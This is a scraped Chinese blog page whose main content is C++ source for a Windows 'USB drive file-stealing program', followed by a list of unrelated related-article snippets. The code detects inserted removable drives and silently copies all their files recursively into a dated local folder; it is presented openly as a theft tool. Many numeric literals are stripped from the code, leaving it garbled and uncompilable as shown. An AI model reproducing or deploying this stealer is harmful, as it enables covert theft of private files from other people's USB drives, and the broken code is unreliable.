U盘文件偷窃程序
// Drives.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "windows.h"
#include "string.h"
#include "direct.h"
#include "stdlib.h"
char dir[];
wchar_t* char2wchar(char *cStr)
{
size_t len = strlen(cStr)+;
size_t converted = ;
wchar_t *wStr;
wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
return wStr;
}
char* wchar2char(wchar_t *wStr)
{
size_t len = wcslen(wStr)+;
size_t converted = ;
char *cStr;
cStr = (char*)malloc(len*sizeof(char));
wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
return cStr;
}
void Copy(char *FileName)
{
char dir2[];
strcpy(dir2,dir);
char *temp = strchr(FileName,'\\');
temp++;
strcat(dir2,temp);
CopyFile(char2wchar(FileName),char2wchar(dir2),);
}
void CreateDir(char *path)
{
char temp2[];
strcpy(temp2,dir);
char *temp = strchr(path,'\\');
temp++;
strcat(temp2,temp);
_mkdir(temp2); }
void GetFile(char *FilePath)
{
wchar_t* wFilePath = char2wchar(FilePath);
wchar_t temp[],temp1[];
wcscpy_s(temp,wFilePath);
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
wcscat_s(temp,L"*");
hFind = FindFirstFile(temp,&FindFileData);
wprintf(L"%s\n",FindFileData.cFileName);
if(hFind == INVALID_HANDLE_VALUE)
{
return;
}
else
{
do
{
wcscpy_s(temp1,wFilePath);
wcscat_s(temp1,FindFileData.cFileName);
if(wcscmp(FindFileData.cFileName, L".")!=&&wcscmp(FindFileData.cFileName ,L"..")!=)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
wcscat(temp1, L"\\");
CreateDir(wchar2char(temp1));
GetFile(wchar2char(temp1));
}
else
{
Copy(wchar2char(temp1));
}
}
}
while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
int CheckDisk(char *disk)
{
wchar_t *wDisk = char2wchar(disk);
if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
return ;
return ;
}
int Steal()
{
char buf[];
DWORD lod=GetLogicalDrives();
if(lod)
{
for(int i=;i<;i++)
{
if((lod&)==)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(CheckDisk(buf))
{
if(GetVolumeInformation(char2wchar(buf),,,,,,,))//获取磁盘信息
{
GetFile(buf);
}
}
}
lod=lod>>;
}
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
SYSTEMTIME st;
char dtime[],temp[];
GetLocalTime(&st);
_itoa(st.wYear,temp,);
strcpy(dtime,temp);
_itoa(st.wMonth,temp,);
strcat(dtime,temp);
_itoa(st.wDay,temp,);
strcat(dtime,temp);
_itoa(st.wMonth,temp,); _getcwd(dir,);
puts(dir);
strcat(dir,"\\");
strcat(dir,dtime);
strcat(dir,"\\");
_mkdir(dir);//创建新文件夹
Steal(); return ;
}
U盘文件偷窃程序的更多相关文章
- 将U盘分成 启动盘+文件存储区
我看了很多帖子,发现想要将U盘分区的朋友绝大部分是和我一样,想用U盘做成一个启动盘同时兼顾文件存储,分区的目的很简单,就是想将启动部分单独做成一个区,以免在日常的应用中使得启动文件染毒或者误操作造成损 ...
- U盘文件被隐藏
转自https://blog.csdn.net/zichen_ziqi/article/details/80171891 文章原地址:http://www.uqidong.com/help/1625. ...
- win10无法写入删改c盘文件的解决方法
前言 最近使用了win10系统,结果发现无法对c盘的文件进行写入删改,在网上到处搜集资料,终于找到了解决方法,这里总结一下. 首先,本文针对的是win10家庭版,家庭版默认是不提供组策略功能,而我们需 ...
- [Java.File]如果写 File filesFolder = new File("/") ,在windows系统中,filesFolder 会去找哪个盘符? 答案:程序运行路径的根盘符.
首先这段代码在Unix/Linux系统上会去找根路径,但在Windows系统上会去找C:盘还是D:盘还是其它盘呢? 其实它会去找user.dir所在盘符的根目录,user.dir即用户的当前工作目录, ...
- 添加/删除/读写c盘文件——c#
一.前言: 有时候我们为自己的程序添加配置文件,如tet.ini.xml等文件,又或者保存软件运行时的日志 当我们把软件打包后,默认安装在c盘,而配置文件也会跟随生成在安装目录下 此时你会发现,配置文 ...
- 使用javascript实现html页面直接下载网盘文件
公司新建一网站,用的是商派的易开店系统.设计方案中有一个是下载文件的功能,但易开店不支持上传资源,所以无法下载本站资源. 于是想到了网盘资源下载,有些网站是把页面链接到网盘资源文件下载页面,进行二次跳 ...
- linux下U盘文件只读的解决办法
. 在终端运行如下命令 tail -f /var/log/syslog . 插入有只读文件系统故障的U盘 . 观察命令行输出 输出局部如下: Jul :: cslouis-pc kernel: [15 ...
- 【java】 linux下利用nohup后台运行jar文件包程序
Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...
- u盘文件系统故障的修复方法
比如U盘挂载的文件系统是/dev/sda1,且文件系统有故障(FAT: Filesystem error) 修复U盘文件系统故障 sudo dosfsck -v -a /dev/sda1
随机推荐
- 详解SpringMVC请求的时候是如何找到正确的Controller[附带源码分析]
目录 前言 源码分析 重要接口介绍 SpringMVC初始化的时候做了什么 HandlerExecutionChain的获取 实例 资源文件映射 总结 参考资料 前言 SpringMVC是目前主流的W ...
- 0代码隐藏GroupedTableView上边多余的间隔
0代码隐藏GroupedTableView上边多余的间隔 实现诸如支付宝的 “探索” 页面时,最简单的方案是在 Storyboard 中来一个静态 Grouped UITableViewControl ...
- #nav li:hover ul 与#nav li a:hover ul 的区别
#nav li:hover ul 与#nav li a:hover ul 有什么区别? ──────────────────────────────────────────── #nav li:hov ...
- [zt]矩阵求导公式
今天推导公式,发现居然有对矩阵的求导,狂汗--完全不会.不过还好网上有人总结了.吼吼,赶紧搬过来收藏备份. 基本公式:Y = A * X --> DY/DX = A'Y = X * A --&g ...
- [转]CPU的位数与操作系统的位数的区别
转自:http://weiheyouchou.blog.hexun.com/35564976_d.html 随着近来AMD和Intel的64位CPU以及 Microsoft 64位操作系统的相继发布, ...
- 自己编写php框架(一)
这两天一直在琢磨如何做一个php模板,将前台html页面和php代码分割开来.虽然现在市面上有各种各样的php模板,但还是想自己编写一个体验一下. 之前一直写到了将替换完php代码的含有php代码的h ...
- sql 日期格式化
sql语句中 经常操作操作datetime类型数据.今天在写一个存储过程的时候需要将 一个datetime的值的 日期部分提取出来.网上有许多这方面的介绍. 主要方法还是通过日期格式的转换来获取.如下 ...
- phpmyadmin任意文件包含漏洞分析(含演示)
0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...
- cocos2d-x渲染流程
Cocos2Dx之渲染流程 发表于8个月前(2014-08-08 22:46) 阅读(3762) | 评论(2) 17人收藏此文章, 我要收藏 赞2 如何快速提高你的薪资?-实力拍“跳槽吧兄弟”梦 ...
- HTTP Status 500 - org.apache.jasper.JasperException: com.sun.org.apache.xerces.internal.impl.io.MalformedByteSequenceException
HTTP Status 500 - org.apache.jasper.JasperException: com.sun.org.apache.xerces.internal.impl.io.Malf ...